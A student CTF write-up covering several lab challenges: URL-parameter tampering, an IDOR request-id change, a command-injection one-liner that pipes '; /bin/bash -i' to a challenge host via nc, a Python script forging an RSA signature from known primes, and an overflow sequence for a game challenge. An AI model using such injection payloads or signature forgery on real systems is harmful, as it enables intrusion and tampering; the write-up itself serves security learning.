

CTF WRITE UP

Team members: CS24M033 (Pradeep Peter Murmu) , CS24M022 (Vishnu K.)

Messy Coupon 1

Based on the homepage, it had options to change data, and based on it calculated amount. All the input parameters were visible in the url of the browser, which we could change. This is in itself a vulnerability.

We used BurpSuite for penetration. Tried multiple values and got that changing the amount to 1 gave us the flag.

#Messy Coupon 2

We saw that the site was not opening on normal browser. So we changed the "userAgent" from the network and tool options. this allowed us to get to the website.

Once we entered, it also had similar screen like previous CFT, we just changed the amount to from the inspect console of the frontend.

#Messy Coupon 3

We monitored the network traffic and found all the request like POST. We went to /viewcoupon directory . On clicking the order we could see /store_request order. Here we could change the parameter. So we changed the request id parameter which was 69421 to 69420. 69420 is a popular ctf flag. We used brute force and also Chat gpt helped us here.

Escape to World CTF

We found that putting first ; we could run any commands. So we accessed bash after putting ;

```
printf '; /bin/bash -i <&0 >&0 2>&0 #\n' | nc escapetoworld.ssectf.kctf.cloud 1337
```

Binary validator 1

To get the flag we saw in main.c

We made a binary from this.

RSA parameters

n – modulus

$e = 65537$ – public exponent (a common default)

d – private exponent, found as the modular inverse of e modulo $\phi(n)$ where $\phi(n) = (p - 1)(q - 1)$.

Hashing step

```
h_main      = SHA-256("main")      mod n
h_allowed   = SHA-256("allowed")
h_not_allowed = SHA-256("not_allowed")
current_hash = (h_main * h_allowed * h_not_allowed) mod n
```

Signature creation

```
sig = current_hash^d mod n # pow(current_hash, d, n)
```

Output

The value `sig` is written to `signature` so the altered binary now carries a “valid” signature—even though its code has changed—because you reconstructed the private key from the known primes p and q .

Script:

```
#!/usr/bin/env python3
"""
```

Forge a digital signature for a modified ``main`` binary.

Changes from the reference version

```
-----
* fresh variable / function names
* pathlib + int.from_bytes instead of hexdigest()
* digest helper optionally reduces modulo n
* short modular-inverse helper (avoids pow(..., -1, ...))
"""
```

```
from pathlib import Path
from hashlib import sha256
from functools import reduce
```

```
# — RSA parameters
```

```
MODULUS = 0x6BDD9848865F3E67D68A31E15EED02C1      # n
```

```

PUBLIC_E = 65_537                                # e

# pre-factored primes (p, q)
P = 15_501_560_589_360_099_901
Q = 9_249_261_130_870_075_093

# compute  $\phi(n)$  and private exponent d
phi_n = (P - 1) * (Q - 1)

def mod_inverse(a: int, m: int) -> int:
    """Return the modular inverse of a modulo m ( $a^{-1} \bmod m$ )."""
    # pow(a, -1, m) is fine in 3.8+, but we'll keep it explicit
    return pow(a, -1, m)

PRIVATE_D = mod_inverse(PUBLIC_E, phi_n)

# — helper: SHA-256 digest as int


---


def digest_as_int(file_path: str, *, mod: int | None = None) -> int:
    """Read *file_path*, SHA-256 it, return big-endian integer (optionally mod n)."""
    data = Path(file_path).read_bytes()
    digest = sha256(data).digest()
    val = int.from_bytes(digest, "big")
    return val % mod if mod else val

# — hash the three inputs


---


hash_main    = digest_as_int("main",    mod=MODULUS) # reduce mod n
hash_allowed = digest_as_int("allowed")             # no reduction
hash_notallowed = digest_as_int("not_allowed")

# — combine hashes ( (h_main * h_allowed) mod n * h_notallowed ) mod n —————
combined = reduce(
    lambda x, y: (x * y) % MODULUS,
    (hash_main, hash_allowed, hash_notallowed),
    1
)

# — RSA signature: (combined)d mod n


---


signature_int = pow(combined, PRIVATE_D, MODULUS)


```


```
Path("signature").write_text(str(signature_int))  
print("✓ forged signature saved to ./signature")
```

#gotta catch em all


Use $10 \times a + 151$ actions to overflow the initial buffer and get 5 berries. And then we select option 3 five times to increase Mew's health. Then we Select option 2 twenty times to throw sticks. After that Select option 1 one time to throw a Pokémon ball. After that select option 3 one time to increase Mew's health. Select option 2 eighty-four times to throw sticks. Select option 1 one time to throw a Pokémon ball. Select option 3 one time to increase Mew's health. Select option 2 five times to throw sticks. Select option 1 one time to throw a Pokémon ball and capture the Pokémon. Chat gpt helped us with attack.

Confirm Payment

 Mess: MESS-1

 From: 2000-01-21

 To: 2025-01-21



 Days: 9133

 Amount: ₹913300

 Make Payment

 Payment Successful!  Flag:
SSECTF{M3SSY_COUPON_EZ_1_R5_BUG}



 Congratulations! You found the first
coupon bug! 

This was the first bug reported in a certain portal, 3 hours after the
messy coupon purchase option was introduced.

← [Back to Home](#)